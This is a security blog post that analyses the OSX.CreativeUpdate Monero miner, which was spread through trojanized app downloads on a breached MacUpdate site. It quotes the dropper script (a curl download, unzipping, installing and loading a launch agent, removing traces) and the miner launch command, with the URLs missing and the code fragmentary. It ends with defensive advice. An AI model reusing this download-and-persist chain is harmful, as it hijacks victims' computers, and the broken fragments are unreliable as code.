Crypto-currency miner is recruiting devices for mining via MacUpdate. The new malware named OSX.CreativeUpdate is using victim’s CPU to mine Monero currency.
Hackers just pwned MacUpdate site. They use the breach to distribute malicious iterations of Firefox, OnyX, and Deeper applications.
Both OnyX and Deeper were offered for download from a fake Titanium Software URL named titaniumsoftware.org (titanium-software.fr is the original Titanium Software company’s site). The same method was used for the fake Firefox app. The hackers used this time download-installer.cdn-mozilla.net instead of the genuine link that ends with mozilla.net. All downloaded files were well-crafted copies made in Platypus. They were very good at imitating the actual app .dmg files.
After a successfully install, the victim would open the application and then a download would start that will deliver the payload from a legitimate site owned by Adobe named public.adobecc.com. The scheme is ingenious because after downloading the malicious file a genuine a copy of the original app will be opened as a decoy.
This is the script inside the malicious app that would open the decoy app, and then download and install the malware.
if [ -f ~/Library/mdworker/mdworker ]; then
nohup curl -o ~/Library/mdworker.zip
content_disposition=attachment && unzip -o ~/Library/mdworker.zip -d
~/Library && mkdir -p ~/Library/LaunchAgents && mv
~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents && sleep 300
&& launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist && rm -rf
~/Library/mdworker.zip && killall Deeperd &
This script does two things first it will attempt to open the decoy Deeper.app and then it will verify if the malware is already installed.
If the malware is not present, it will be downloaded and stored into the user’s Library folder. After this a malicious launch agent file named MacOSupdate.plist will be created and stored. This is the agent:
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE plist PUBLIC “-//Apple Computer//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
<string>launchctl unload -w ~/Library/LaunchAgents/MacOS.plist && rm
-rf ~/Library/LaunchAgents/MacOS.plist && curl -o
content_disposition=attachment && launchctl load -w
When this launch agent runs, a new download of a new MacOS.plist file will start. This new .plist file will replace the previous MacOS.plist file.
This line of command:
sh -c ~/Library/mdworker/sysmdworker -user [email protected] -xmr
Will load a malicious sysmdworker process that is în fact the mining process of the Monero cryptocurrency.
Our cybersecurity team recommends never to trust any unofficial Mac App Store like MacUpdate site is or any other sites like it. Actions like this will jeopardize your privacy and security. This kind of so-called App Stores are well known for being malware distributors. In fact, MacUpdate was used before in 2016 to do such vicious things like distribution of OSX.Eleanor malware.
Always stick your downloads to the Apple’s App Store or the official companies sites. If any downloaded apps are acting funny after installing them like not opening after a double click or have any suspicious behavior, install a top antivirus solution immediately and run a full scan because you might just have been infected.
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